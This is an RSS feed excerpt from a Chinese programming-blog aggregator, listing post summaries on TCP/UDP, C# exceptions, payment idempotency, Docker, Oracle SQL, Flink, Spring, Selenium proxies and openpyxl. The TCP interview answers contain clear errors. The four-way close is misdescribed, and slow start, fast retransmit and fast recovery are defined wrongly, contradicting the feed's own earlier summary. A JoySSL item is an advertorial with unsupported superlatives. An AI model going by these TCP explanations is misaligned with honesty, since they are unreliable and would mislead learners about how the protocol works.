TCP协议实现拥塞控制的主要方法是通过&#34;拥塞窗口&#34;变量来动态调整发送速率。在TCP的发送端，所有未收到确认的数据段必须落在这个窗口内。当网络出现拥塞时，TCP程序会减小拥塞窗口的大小，从而降低数据的发送速率；反之，当网络状况好转时，TCP程序会增大拥塞窗口的大小，提高数据的发送速率。&#xA;此外，TCP协议还设计了四种拥塞控制算法：慢开始、拥塞避免、快重传和快恢复。这些算法结合使用，可以有效地防止过多的数据注入到网络中，避免出现网络负载过大的情况。&#xA;慢开始：发送方在开始发送数据时，会先探测一下网络的状况，如果网络状况良好，则逐渐增大拥塞窗口的大小；否则，会按照一定的规则逐渐增大拥塞窗口的大小。拥塞避免：当拥塞窗口的大小达到一个阈值时，就会进入拥塞避免阶段。在这个阶段，拥塞窗口的大小会按照线性增长的规则逐渐增大。快重传：当发送方连续收到三个重复的确认报文时，就会直接重传数据包，而不用等待超时重传定时器的时间到了再重传。快恢复：当发送方连续收到三个重复的确认报文时，它会把慢开始门限设置为当前拥塞窗口大小的一半，然后把拥塞窗口的大小设定为慢开始门限加上3个报文段的大小。 5. 请解释TCP三次握手和四次挥手的过程。 TCP三次握手和四次挥手是TCP协议中建立连接和断开连接的两个重要过程。&#xA;三次握手：&#xA;第一次握手：客户端向服务器发送一个SYN（同步）报文，表示请求建立连接。第二次握手：服务器接收到SYN报文后，会发送一个SYN+ACK（同步确认）报文给客户端，表示同意建立连接。第三次握手：客户端接收到SYN+ACK报文后，会发送一个ACK（确认）报文给服务器，表示已经准备好建立连接了。&#xA;通过三次握手，客户端和服务器之间建立了可靠的连接，并确定了双方的序列号。 四次挥手：&#xA;第一次挥手：客户端发送一个FIN（结束）报文给服务器，表示即将关闭连接。第二次挥手：服务器接收到FIN报文后，会发送一个ACK（确认）报文给客户端，表示已经收到了客户端的结束信号。第三次挥手：客户端接收到ACK报文后，会发送一个FIN（结束）报文给服务器，表示已经关闭了连接。第四次挥手：服务器接收到FIN报文后，会发送一个ACK（确认）报文给客户端，表示已经收到了客户端的结束信号，并且也准备关闭连接了。&#xA;通过四次挥手，客户端和服务器之间的连接被彻底关闭。 总之，TCP三次握手和四次挥手的过程确保了数据传输的可靠性和安全性，避免了网络中的资源浪费和数据丢失。&#xA;6. 请解释TCP的慢启动、拥塞避免、快速重传和快速恢复算法。 TCP的慢启动、拥塞避免、快速重传和快速恢复算法是TCP协议中用于控制数据传输速率和处理网络拥塞的重要机制。&#xA;慢启动（Slow Start）：在TCP连接建立后，发送方的初始窗口大小为1个MSS（最大段大小）。当接收方确认一个数据段时，发送方会将窗口大小翻倍。但是，如果在一定时间内没有收到任何确认信息，发送方会将窗口大小减半，并等待一段时间后再尝试翻倍。这个过程被称为“慢启动”。&#xA;拥塞避免（Congestion Avoidance）：当网络出现拥塞时，TCP协议会通过降低发送速率来减少拥塞的程度。发送方会逐渐减小其发送速率，直到网络状况得到改善。这个过程被称为“拥塞避免”。&#xA;快速重传（Fast Retransmit）：当发送方在规定的时间内未收到接收方的确认信息时，它会认为数据包丢失或出错，并要求重新发送该数据包。这个过程被称为“快速重传”。&#xA;快速恢复（Fast Recovery）：当接收方检测到网络状况已得到改善时，它会通知发送方可以恢复其发送速率。发送方会逐渐增加其发送速率，直到达到原来的值。这个过程被称为“快速恢复”。&#xA;这些算法共同作用，确保了TCP协议在面对网络拥塞时能够有效地调整数据传输速率，从而保证了数据传输的可靠性和效率。&#xA;7. UDP协议的特点是什么？为什么它比TCP更快？ UDP协议的特点包括以下几个方面：&#xA;无连接：UDP协议不需要建立连接，也不需要维护连接状态。数据报文直接发送到目标地址，不会等待确认应答。&#xA;不可靠：UDP协议没有提供可靠性保证，数据报文在传输过程中可能会出现丢失、重复或乱序的情况。&#xA;无流量控制：UDP协议没有内置的流量控制机制，发送方可以以任意速率发送数据，接收方无法控制数据的接收速度。&#xA;无拥塞控制：UDP协议没有内置的拥塞控制机制，网络拥塞时无法进行自适应调整。&#xA;面向数据报文：UDP协议采用面向数据报文的方式传输数据，每个数据报文都是独立的，包含完整的信息。&#xA;相比于TCP协议，UDP协议更快的原因主要有以下几点：&#xA;无需建立连接和维持连接状态：TCP协议需要进行三次握手来建立连接，而UDP协议可以直接发送数据报文，省去了连接建立和断开的时间开销。&#xA;无需等待确认应答：TCP协议在发送数据后需要等待接收方的确认应答，而UDP协议不需要等待确认应答，可以连续发送多个数据报文。&#xA;无流量控制和拥塞控制：TCP协议通过滑动窗口机制进行流量控制和拥塞控制，而UDP协议没有这些机制，可以更快速地传输数据。&#xA;需要注意的是，由于UDP协议的不可靠性，它适用于对实时性要求较高但允许一定数据丢失的场景，如音视频传输、网络游戏等。而对于对数据传输可靠性要求较高的场景，如文件传输、电子邮件等，通常使用TCP协议。&#xA;8. 请解释UDP如何实现数据包的顺序传输。 UDP协议本身并不保证数据包的顺序传输。因为UDP是无连接的，每个数据包都是独立发送的，并且没有序列号和确认机制来保证数据包的顺序。因此，如果多个数据包在网络上同时传输，到达接收端的顺序可能与发送端的顺序不同。&#xA;然而，在应用层，可以通过一些手段来实现UDP数据包的顺序传输。以下是几种常见的方法：</description>
    </item>
    <item>
      <title>二、C#基础语法（ 异常处理）</title>
      <link>https://bchobby.github.io/posts/cbe8a4ca92692fed5563c0e0aa18803b/</link>
      <pubDate>Fri, 29 Dec 2023 15:44:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbe8a4ca92692fed5563c0e0aa18803b/</guid>
      <description>在C#中，异常处理是一种处理程序运行时可能出现的错误或异常情况的重要机制。通过异常处理，我们可以捕获并处理程序中的错误，从而避免程序崩溃或产生不可预测的行为。&#xA;C#中的异常处理主要通过try-catch语句块来实现。以下是C#中异常处理的基础语法：&#xA;try { // 代码块，可能会抛出异常 } catch (ExceptionType1 ex) { // 处理ExceptionType1异常的代码块 } catch (ExceptionType2 ex) { // 处理ExceptionType2异常的代码块 } finally { // 无论是否发生异常，最后都会执行的代码块 } try块包含可能会抛出异常的代码。catch块用于捕获并处理异常。你可以有多个catch块来处理不同类型的异常。ExceptionType表示要捕获的异常类型，如System.DivideByZeroException、System.NullReferenceException等。ex是catch块中定义的变量，它存储了被捕获的异常对象。finally块包含的代码无论是否发生异常都会执行。通常用于释放资源或进行清理工作。 下面是一个简单的例子：&#xA;try { int a = 0; int b = 1; int result = b / a; // 这将抛出一个DivideByZeroException异常 } catch (DivideByZeroException ex) { Console.WriteLine(&#34;发生除以零的异常: &#34; + ex.Message); } catch (NullReferenceException ex) // 这个catch块永远不会执行，因为前面的catch已经捕获了异常 { Console.WriteLine(&#34;发生空引用异常: &#34; + ex.Message); } finally { Console.</description>
    </item>
    <item>
      <title>服务端如何防止订单重复支付</title>
      <link>https://bchobby.github.io/posts/ee459d91dbe9351867d170cc2d71a909/</link>
      <pubDate>Fri, 29 Dec 2023 15:38:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee459d91dbe9351867d170cc2d71a909/</guid>
      <description>服务端如何防止订单重复支付？ 概述为了防止掉单，这里可以这样处理：为了防止订单重复提交，可以这样处理：附上微信支付最佳实践： 概述 如图是一个简化的下单流程，首先是提交订单，然后是支付。&#xA;支付的话，一般是走支付网关（支付中心），然后支付中心与第三方支付渠道（微信、支付宝、银联）交互。&#xA;支付成功以后，异步通知支付中心，支付中心更新自身支付订单状态，再通知业务应用，各业务再更新各自订单状态。&#xA;这个过程中经常可能遇到的问题是掉单，无论是超时未收到回调通知也好，还是程序自身报错也好。&#xA;总之由于各种各样的原因，没有如期收到通知并正确的处理后续逻辑等等，都会造成用户支付成功了，但是服务端这边订单状态没更新。&#xA;这个时候有可能产生投诉，或者用户重复支付。&#xA;由于③⑤造成的掉单称之为外部掉单，由④⑥造成的掉单我们称之为内部掉单&#xA;为了防止掉单，这里可以这样处理： 1、支付订单增加一个中间状态“支付中”，当同一个订单去支付的时候，先检查有没有状态为“支付中”的支付流水，当然支付（prepay）的时候要加个锁。支付完成以后更新支付流水状态的时候再讲其改成“支付成功”状态。&#xA;2、支付中心这边要自己定义一个超时时间（比如：30秒），在此时间范围内如果没有收到支付成功回调，则应调用接口主动查询支付结果，比如10s、20s、30s查一次，如果在最大查询次数内没有查到结果，应做异常处理&#xA;3、支付中心收到支付结果以后，将结果同步给业务系统，可以发MQ，也可以直接调用，直接调用的话要加重试（比如：SpringBoot Retry）&#xA;4、无论是支付中心，还是业务应用，在接收支付结果通知时都要考虑接口幂等性，消息只处理一次，其余的忽略&#xA;5、业务应用也应做超时主动查询支付结果&#xA;对于上面说的超时主动查询可以在发起支付的时候将这些支付订单放到一张表中，用定时任务去扫&#xA;为了防止订单重复提交，可以这样处理： 1、创建订单的时候，用订单信息计算一个哈希值，判断redis中是否有key，有则不允许重复提交，没有则生成一个新key，放到redis中设置个过期时间，然后创建订单。&#xA;其实就是在一段时间内不可重复相同的操作&#xA;附上微信支付最佳实践： title: 服务端如何防止订单重复支付！date: 2021-03-18 tags: categories: 精进 permalink: Fight/Server-how-to-prevent-double-payment-of-orders! author: 狂乱的贵公子 from_url: cnblogs.com/cjsblog/p/14516909.html wechat_url:&#xA;概述 如图是一个简化的下单流程，首先是提交订单，然后是支付。&#xA;支付的话，一般是走支付网关（支付中心），然后支付中心与第三方支付渠道（微信、支付宝、银联）交互。&#xA;支付成功以后，异步通知支付中心，支付中心更新自身支付订单状态，再通知业务应用，各业务再更新各自订单状态。&#xA;这个过程中经常可能遇到的问题是掉单，无论是超时未收到回调通知也好，还是程序自身报错也好。&#xA;总之由于各种各样的原因，没有如期收到通知并正确的处理后续逻辑等等，都会造成用户支付成功了，但是服务端这边订单状态没更新。&#xA;这个时候有可能产生投诉，或者用户重复支付。&#xA;由于③⑤造成的掉单称之为外部掉单，由④⑥造成的掉单我们称之为内部掉单&#xA;为了防止掉单，这里可以这样处理： 1、支付订单增加一个中间状态“支付中”，当同一个订单去支付的时候，先检查有没有状态为“支付中”的支付流水，当然支付（prepay）的时候要加个锁。支付完成以后更新支付流水状态的时候再讲其改成“支付成功”状态。&#xA;2、支付中心这边要自己定义一个超时时间（比如：30秒），在此时间范围内如果没有收到支付成功回调，则应调用接口主动查询支付结果，比如10s、20s、30s查一次，如果在最大查询次数内没有查到结果，应做异常处理&#xA;3、支付中心收到支付结果以后，将结果同步给业务系统，可以发MQ，也可以直接调用，直接调用的话要加重试（比如：SpringBoot Retry）&#xA;4、无论是支付中心，还是业务应用，在接收支付结果通知时都要考虑接口幂等性，消息只处理一次，其余的忽略&#xA;5、业务应用也应做超时主动查询支付结果&#xA;对于上面说的超时主动查询可以在发起支付的时候将这些支付订单放到一张表中，用定时任务去扫&#xA;为了防止订单重复提交，可以这样处理： 1、创建订单的时候，用订单信息计算一个哈希值，判断redis中是否有key，有则不允许重复提交，没有则生成一个新key，放到redis中设置个过期时间，然后创建订单。&#xA;1、创建订单的时候，用订单信息计算一个哈希值，判断redis中是否有key，有则不允许重复提交，没有则生成一个新key，放到redis中设置个过期时间，然后创建订单。&#xA;其实就是在一段时间内不可重复相同的操作。</description>
    </item>
    <item>
      <title>docker命令总结</title>
      <link>https://bchobby.github.io/posts/7aed85375cf7bc5db4edeaf6c2b861b8/</link>
      <pubDate>Fri, 29 Dec 2023 15:37:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7aed85375cf7bc5db4edeaf6c2b861b8/</guid>
      <description>1.docker build -t imgname . 镜像制作（依赖DockerFile）&#xA;2.docker images 查看镜像&#xA;3.docker run -d -p 58080(外部端口):8080(内部端口) imgname 运行docker暴露端口在宿主机上&#xA;4.docker exec -it &amp;lt;container_id&amp;gt; bin/bash 进入运行中的docker容器内&#xA;4.docker ps -a 查看运行和不运行的容器&#xA;5.docker stop 302544e0d7a4(容器id) 停止正在运行的容器&#xA;6.docker run 302544e0d7a4(容器id) 停止后重新运行容器&#xA;7.docker save -o savefilename imgname&#xA;8.docker load imgname&#xA;9.docker logs &amp;lt;container_id&amp;gt; 查看运行日志</description>
    </item>
    <item>
      <title>Oracle【低版本实现UTC格式转换】</title>
      <link>https://bchobby.github.io/posts/6a373ef4e8c45e661bc561342b59fb9e/</link>
      <pubDate>Fri, 29 Dec 2023 15:36:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a373ef4e8c45e661bc561342b59fb9e/</guid>
      <description>Oracle低版本实现UTC格式转换 文章目录 Oracle低版本实现UTC格式转换前言一、创建 FUNCTION（GET_UTC_DATE）二、使用步骤1.跨年日期2.跨月日期（判断 闰年 or 平年、用于计算2月天数，正常大小月）3.跨日日期3.正常日期 总结 前言 现在Oracle版本过低是不能直接转UTC格式时间的，那么我们低版本用户可以以下这样做&#xA;一、创建 FUNCTION（GET_UTC_DATE） CREATE OR REPLACE FUNCTION GET_UTC_DATE (V_DATE IN DATE) RETURN VARCHAR2 IS V_DATA VARCHAR2 (50); BEGIN SELECT CASE --跨年 WHEN TO_CHAR (V_DATE, &#39;MM&#39;) = 01 AND TO_CHAR (V_DATE, &#39;DD&#39;) = 01 AND TO_CHAR (V_DATE, &#39;HH24&#39;) &amp;lt; 08 THEN TO_NUMBER (TO_CHAR (V_DATE, &#39;YYYY&#39;)) - 1 || &#39;-&#39; || LPAD (TO_NUMBER (TO_CHAR (V_DATE, &#39;MM&#39;)) + 11, 2, 0) || &#39;-&#39; || LPAD (TO_NUMBER (TO_CHAR (V_DATE, &#39;DD&#39;)) + 29, 2, 0) || &#39;T&#39; || LPAD (TO_NUMBER (TO_CHAR (V_DATE, &#39;HH24&#39;)) + 16, 2, 0) || TO_CHAR (V_DATE, &#39;:MI:SS&#39;) || &#39;+08:00&#39; --闰年跨月 WHEN TO_CHAR (V_DATE, &#39;DD&#39;) = 01 AND TO_CHAR (V_DATE, &#39;HH24&#39;) &amp;lt; 08 AND LPAD (TO_NUMBER (TO_CHAR (V_DATE, &#39;MM&#39;)), 2, 0) = 03 AND MOD (TO_CHAR (V_DATE, &#39;YYYY&#39;), 4) = 0 AND MOD (TO_CHAR (V_DATE, &#39;YYYY&#39;), 100) !</description>
    </item>
    <item>
      <title>Oracle【 查询（当天，月，年）的数据】</title>
      <link>https://bchobby.github.io/posts/e0f15fbea3ded37a7041fec5cedd4bd6/</link>
      <pubDate>Fri, 29 Dec 2023 15:35:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0f15fbea3ded37a7041fec5cedd4bd6/</guid>
      <description>Trunc 在oracle中，可利用 trunc函数 查询当天数据，该函数可用于截取时间或者数值，将该函数与 select 语句配合使用可查询时间段数据&#xA;查询当天数据 --sysdate是获取系统当前时间函数 --TRUNC函数用于截取时间或者数值，返回指定的值 select * from 表名 where trunc(时间字段名)=trunc(sysdate) 日期处理 --date 为必要参数，是输入的一个date日期值 --fmt 参数可忽略，是日期格式，缺省是表示指定日期的0点，00:00:00 trunc（date，[fmt]） SQL 如下 --日 select * from 表名 where trunc(时间字段名)=trunc(sysdate) --周 select trunc(sysdate, &#39;d&#39;) &#39;本周第一天，周日起&#39; from dual; select trunc(sysdate, &#39;day&#39;) &#39;本周第一天，周日起&#39; from dual; select next_day(trunc(sysdate), &#39;TUESDAY&#39;)+12/24 &#39;下个星期中午12点&#39; from dual; select trunc(least(next_day(sysdate,&#39;saturday&#39;),next_day(sysdate,&#39;sunday&#39;)))+(6*60+10)/(24*60) &#39;下个星期早上6点10分&#39; from dual; --月 select trunc(sysdate, &#39;mm&#39;) &#39;当月第一天&#39; from dual; select trunc(sysdate, &#39;month&#39;) &#39;当月第一天&#39; from dual; select trunc(last_day(sysdate)+1) &#39;下个月第一天的0点&#39; from dual; --季度 select trunc(sysdate, &#39;q&#39;) &#39;当前季度的第一天&#39; from dual; select trunc(add_months(sysdate,3), &#39;Q&#39;) -1/24 &#39;当年第一天&#39; from dual; --年 select trunc(sysdate, &#39;yy&#39;) &#39;当年第一天&#39; from dual; select trunc(sysdate, &#39;yyyy&#39;) &#39;当年第一天&#39; from dual; select trunc(sysdate, &#39;year&#39;) &#39;当年第一天&#39; from dual; 扩展知识 --将小数点右边指定位数后面的截去; select trunc(123.</description>
    </item>
    <item>
      <title>flink generic log-based incremental checkpoints 设计</title>
      <link>https://bchobby.github.io/posts/5ad3942a5be2cd417787f0302167e9fe/</link>
      <pubDate>Fri, 29 Dec 2023 15:33:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ad3942a5be2cd417787f0302167e9fe/</guid>
      <description>背景 flink 在1.15版本后开始提供generic log-based incremental checkpoints的检查点方案，目的在于减少checkpoint的耗时，尽量缩短端到端的数据处理延迟，本文就来看下这种新类型的checkpoint的设计&#xA;generic log-based incremental checkpoints 设计 generic log-based incremental checkpoints的设计主要是参考事务数据库的设计方案，总体来说就是insert、update、delete操作先记录到事务日志文件中，然后应用到DB数据文件中，通过这样的设计，相当于每时每刻状态操作都已经持久化到了事务日志中，遇到checkpoint barrier的时候也是只要确保barrier之前的修改操作已经记录到事务日志中即可，这样的话，整个checkpoint操作就会非常快，当然缺点也是显而易见，包括双写会导致状态操作的时延增加，状态的大小空间占用庞大，crash崩溃后恢复耗时增加等</description>
    </item>
    <item>
      <title>互联网加竞赛 基于CNN实现谣言检测 - python 深度学习 机器学习</title>
      <link>https://bchobby.github.io/posts/cf6239453bd40bb62d1b1e0261a29ccc/</link>
      <pubDate>Fri, 29 Dec 2023 15:29:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf6239453bd40bb62d1b1e0261a29ccc/</guid>
      <description>文章目录 1 前言1.1 背景 2 数据集3 实现过程4 CNN网络实现5 模型训练部分6 模型评估7 预测结果8 最后 1 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;基于CNN实现谣言检测&#xA;该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;1.1 背景 社交媒体的发展在加速信息传播的同时，也带来了虚假谣言信息的泛滥，往往会引发诸多不安定因素，并对经济和社会产生巨大的影响。&#xA;2 数据集 本项目所使用的数据是从新浪微博不实信息举报平台抓取的中文谣言数据，数据集中共包含1538条谣言和1849条非谣言。&#xA;如下图所示，每条数据均为json格式，其中text字段代表微博原文的文字内容。&#xA;每个文件夹里又有很多新闻文本。&#xA;每个文本又是json格式，具体内容如下：&#xA;3 实现过程 步骤入下：&#xA;*（1）解压数据，读取并解析数据，生成all_data.txt&#xA;*（2）生成数据字典，即dict.txt&#xA;*（3）生成数据列表，并进行训练集与验证集的划分，train_list.txt 、eval_list.txt&#xA;*（4）定义训练数据集提供器train_reader和验证数据集提供器eval_reader&#xA;import zipfile import os import io import random import json import matplotlib.pyplot as plt import numpy as np import paddle import paddle.fluid as fluid from paddle.fluid.dygraph.nn import Conv2D, Linear, Embedding from paddle.</description>
    </item>
    <item>
      <title>Oracle函数【详细 &amp;&amp; 包括举例】</title>
      <link>https://bchobby.github.io/posts/2d73cce6669c178e825a9f4098ce2fcf/</link>
      <pubDate>Fri, 29 Dec 2023 15:28:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d73cce6669c178e825a9f4098ce2fcf/</guid>
      <description>概述 Oracle SQL 提供了用于执行特定操作的专用函数。这些函数大大增强了 SQL 语言的功能。函数可以接受零个或者多个输入参数，并返回一个输出结果。 Oracle 数据库中主要使用两种类型的函数：&#xA;1. 单行函数：对每一个函数应用在表的记录中时，只能输入一行结果，返回一个结果，&#xA;比如：MOD(x,y)返回 x 除以 y 的余数（x 和 y 可以是两个整数，也可以是表中的整&#xA;数列）。常用的单行函数有：&#xA;Ø 字符函数：对字符串操作。&#xA;Ø 数字函数：对数字进行计算，返回一个数字。&#xA;Ø 转换函数：可以将一种数据类型转换为另外一种数据类型。&#xA;Ø 日期函数：对日期和时间进行处理。&#xA;2. 聚合函数：聚合函数同时可以对多行数据进行操作，并返回一个结果。比如 SUM(x)&#xA;返回结果集中 x 列的总合。&#xA;一、字符函数&#xA;字符函数接受字符参数，这些参数可以是表中的列，也可以是一个字符串表达式。&#xA;常用的字符函数：&#xA;函数&#xA;说明&#xA;ASCII(X)&#xA;返回字符X的ASCII码&#xA;CONCAT(X,Y)&#xA;连接字符串X和Y&#xA;INSTR(X,STR[,START][,N)&#xA;从X中查找str，可以指定从start开始，也可以指定从n开始&#xA;LENGTH(X)&#xA;返回X的长度&#xA;LOWER(X)&#xA;X转换成小写&#xA;UPPER(X)&#xA;X转换成大写&#xA;LTRIM(X[,TRIM_STR])&#xA;把X的左边截去trim_str字符串，缺省截去空格&#xA;RTRIM(X[,TRIM_STR])&#xA;把X的右边截去trim_str字符串，缺省截去空格&#xA;TRIM([TRIM_STR FROM]X)&#xA;把X的两边截去trim_str字符串，缺省截去空格&#xA;REPLACE(X,old,new)&#xA;在X中查找old，并替换成new&#xA;SUBSTR(X,start[,length])&#xA;返回X的字串，从start处开始，截取length个字符，缺省length，默认到结尾&#xA;上面各函数的例子：&#xA;示例&#xA;示例结果&#xA;SELECT ASCII(&#39;a&#39;) FROM dual;&#xA;97</description>
    </item>
    <item>
      <title>R语言【base】——names()：用于获取或设置对象名称的函数</title>
      <link>https://bchobby.github.io/posts/4319ae07ae343001d2d96be960e925d9/</link>
      <pubDate>Fri, 29 Dec 2023 15:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4319ae07ae343001d2d96be960e925d9/</guid>
      <description>Package base version 4.2.0&#xA;Parameters names(x) names(x) &amp;lt;- value 参数【x】：一个 R 对象。&#xA;参数【value】：与参数【x】长度相同的字符向量，或者 NULL。&#xA;Details names 是一个通用访问函数，而 names&amp;lt;- 是一个通用替换函数。默认方法用于获取和设置向量（包括列表）或配对表的 &#34;names&#34; 属性。&#xA;对于环境 env，names(env) 会给出相应列表的名称，即 names(as.list(env, all.names = TRUE))，ls(env, all.names = TRUE, sorted = FALSE) 也会给出这些名称。如果环境被用作哈希表，names(env) 就是它的 &#34;键&#34;。&#xA;如果参数【value】比参数【x】短，则用字符 NA 扩展到参数【x】的长度。&#xA;可以通过一般规则只更新名称属性的一部分。这样做是可行的，因为表达式的求值方式是 z &amp;lt;- &#34;names&amp;lt;-&#34;(z, &#34;[&amp;lt;-&#34;(names(z), 3, &#34;c2&#34;))。</description>
    </item>
    <item>
      <title>Spring &#43; SpringMVC &#43; SpringBoot</title>
      <link>https://bchobby.github.io/posts/0efe5d9aaa7c445b494ab17fdc44bc4c/</link>
      <pubDate>Fri, 29 Dec 2023 15:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0efe5d9aaa7c445b494ab17fdc44bc4c/</guid>
      <description>Spring： 优点：&#xA;Spring是一个开源的免费框架（容器）！Spring是一个轻量级的，非入侵的框架！控制反转（IOC），面向切面编程（AOP）支持事务的处理，对框架整合的支持！ 弊端：&#xA;发展太久之后违背了原来的理念！配置十分繁琐。 Spring Boot: 一个快速开发的脚手架；基于SpringBoot 可以快速开发单个微服务；约定大于配置； Spring Cloud： 基于Spring Boot实现的 发大多数公司都在使用SpringBoot进行快速开发，学习SpringBoot的前提是完全掌握Spring 和SpringMVC;&#xA;学习路线：&#xA;1.Spring&#xA;2.SpringMVC&#xA;3.SpringBoot&#xA;4.Spring Cloud</description>
    </item>
    <item>
      <title>JoySSL怎么样</title>
      <link>https://bchobby.github.io/posts/c3dafddcf3e26b040f88d32a09b373ab/</link>
      <pubDate>Fri, 29 Dec 2023 15:19:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3dafddcf3e26b040f88d32a09b373ab/</guid>
      <description>JoySSL是一家专业的SSL证书服务提供商，致力于为网站和在线业务提供最佳的安全加密解决方案。以下是JoySSL的一些优点：&#xA;提供多种类型的SSL证书选择：JoySSL提供单域名、多域名、通配符等不同类型的SSL证书，以满足不同网站的需求。证书品牌可信度高：JoySSL与全球多家知名的SSL证书品牌厂商合作，如Sectigo、Digicert、Geotrust等，提供的证书具备可信度和安全性。用户友好的控制面板：JoySSL通过提供直观的界面，帮助用户快速生成CSR、验证域名所有权，并获取所需的证书文件。此外，还提供技术支持和指导，确保用户能够正确地安装和配置SSL证书。强大的技术支持：JoySSL拥有专业的技术支持团队，可以为用户提供及时的技术支持和帮助，解决用户在安装和使用SSL证书过程中遇到的问题。并且JoySSL证书的兼容性能达到99.99%，这一点遥遥领先于其他品牌。 综上所述，JoySSL作为一家专业的SSL证书服务提供商，提供了多种类型的SSL证书选择、用户友好的控制面板、强大的技术支持等优点。如果您需要为网站提供安全加密解决方案，可以考虑使用JoySSL的服务。</description>
    </item>
    <item>
      <title>Selenium框架添加CONNECT以抓取https网站</title>
      <link>https://bchobby.github.io/posts/af7fe5c7b3cd5270097857bd31077ddd/</link>
      <pubDate>Fri, 29 Dec 2023 15:16:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af7fe5c7b3cd5270097857bd31077ddd/</guid>
      <description>Selenium框架 Selenium是一个用于Web应用程序测试的强大工具，它提供了一系列的API，可以模拟用户在浏览器中的操作，包括点击、填写表单、导航等。在进行网络提取数据时，https网站的数据提取一直是一个技术难点。Selenium作为一个自动化测试工具，也可以用于数据提取，但默认情况下并不支持https网站的数据提取。本文将介绍如何配置Selenium项目以添加CONNECT支持，从而实现https网站的数据摘要。&#xA;HTTPS问题 首先，让我们了解一下为什么在抽取HTTPS网站时会遇到问题。HTTPS是一种通过了解传输层安全协议（TLS）进行加密的HTTP通信协议。这意味着网站使用SSL证书对通信进行加密，以确保数据的安全性和缺陷。然而，这也意味着在使用Selenium时，需要我们确保它能够正确处理这种加密连接。&#xA;为了解决这个问题，我们可以使用Selenium的Desired Capability来添加CONNECT选项。Desired Capability是一个键值对，用于配置Selenium WebDriver实例的行为。通过设置CONNECT选项，我们可以告诉Selenium建立安全连接的方式。&#xA;如何在Selenium中添加CONNECT支持？ 现在让我们来讨论如何在Selenium中添加CONNECT支持。为了实现这个功能，我们可以使用Selenium的Desired Capability来配置代理服务器，并通过代理服务器来建立连接。以下是一个示例代码，演示了如何在Selenium中添加CONNECT支持：&#xA;from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities # 设置代理服务器信息 proxyHost = &#34;www.16yun.cn&#34; proxyPort = &#34;5445&#34; proxyUser = &#34;16QMSOML&#34; proxyPass = &#34;280651&#34; # 创建代理对象 proxy = f&#34;{proxyUser}:{proxyPass}@{proxyHost}:{proxyPort}&#34; capabilities = DesiredCapabilities.CHROME capabilities[&#39;proxy&#39;] = { &#34;httpProxy&#34;: proxy, &#34;ftpProxy&#34;: proxy, &#34;sslProxy&#34;: proxy, &#34;proxyType&#34;: &#34;MANUAL&#34;, } # 添加CONNECT支持 capabilities[&#39;acceptSslCerts&#39;] = True # 启动浏览器 driver = webdriver.Chrome(desired_capabilities=capabilities) # 访问https网站 driver.get(&#34;https://example.com&#34;) # 进行其他操作 # .</description>
    </item>
    <item>
      <title>python使用openpyxl为excel模版填充数据，生成多个Sheet页面</title>
      <link>https://bchobby.github.io/posts/d28a8f81de92088a85b35b836fe0e086/</link>
      <pubDate>Fri, 29 Dec 2023 15:12:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d28a8f81de92088a85b35b836fe0e086/</guid>
      <description>目标：希望根据一个给定的excel模版，生成多个Sheet页面，比如模版：&#xA;示例程序 import openpyxl excel_workbook = openpyxl.load_workbook(&#34;模版.xlsx&#34;) for _i in range(3): # 比如填充3个页面 # 复制模版sheet页，之后对input_sheet的操作等同于对模版的复制体操作 input_sheet = excel_workbook.copy_worksheet(excel_workbook[&#34;模版sheet&#34;]) input_sheet.title = f&#34;sheet_{_i}&#34; # 这个是sheet的名称 input_sheet.cell(row=2, column=1).value = _i # 这个是对具体的单元格赋值 input_sheet.cell(row=2, column=2).value = f&#34;{_i}%&#34; input_sheet.cell(row=2, column=3).value = &#34;2023-12-29&#34; excel_workbook.remove(excel_workbook[&#39;模版sheet&#39;]) # 过河拆桥，删除原有的sheet模版页 excel_workbook.save(&#34;导出结果.xlsx&#34;) # 保存结果 得到结果：</description>
    </item>
    <item>
      <title>Spring Boot应用程序中实现多态切换多数据源</title>
      <link>https://bchobby.github.io/posts/993fe35d01c3230df655e7349e8e6da3/</link>
      <pubDate>Fri, 29 Dec 2023 15:12:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/993fe35d01c3230df655e7349e8e6da3/</guid>
      <description>第一步：准备工作 在开始之前，确保已经创建了一个Spring Boot项目，并且已经配置了基本的依赖项。&#xA;第二步：配置多数据源 首先，我们需要配置多个数据源。在Spring Boot中，可以使用@Configuration类来定义数据源，并使用@Primary注解指定默认数据源。&#xA;@Configuration public class DataSourceConfig { @Bean(name = &#34;firstDataSource&#34;) @ConfigurationProperties(prefix = &#34;spring.datasource.first&#34;) public DataSource firstDataSource() { return DataSourceBuilder.create().build(); } @Bean(name = &#34;secondDataSource&#34;) @ConfigurationProperties(prefix = &#34;spring.datasource.second&#34;) public DataSource secondDataSource() { return DataSourceBuilder.create().build(); } // 可以配置更多数据源... } 在application.properties（或application.yml）文件中配置数据源的详细信息，例如：&#xA;spring: datasource: first: url: jdbc:mysql://localhost:3306/first_db username: username password: password # 其他配置... second: url: jdbc:mysql://localhost:3306/second_db username: username password: password # 其他配置... 第三步：实现动态数据源切换 接下来，我们将创建一个类来动态选择要使用的数据源。我们可以使用ThreadLocal来保存当前数据源的上下文，并在需要时切换数据源。&#xA;public class DataSourceContext { private static final ThreadLocal&amp;lt;String&amp;gt; contextHolder = new ThreadLocal&amp;lt;&amp;gt;(); public static void setDataSource(String dataSourceName) { contextHolder.</description>
    </item>
    <item>
      <title>在windows10上安装.NET Framework 3.5 SP1报错：0x800F0954</title>
      <link>https://bchobby.github.io/posts/eac2698dc2867839904acb2c96e1bd50/</link>
      <pubDate>Fri, 29 Dec 2023 14:58:21 +0800</pubDate>
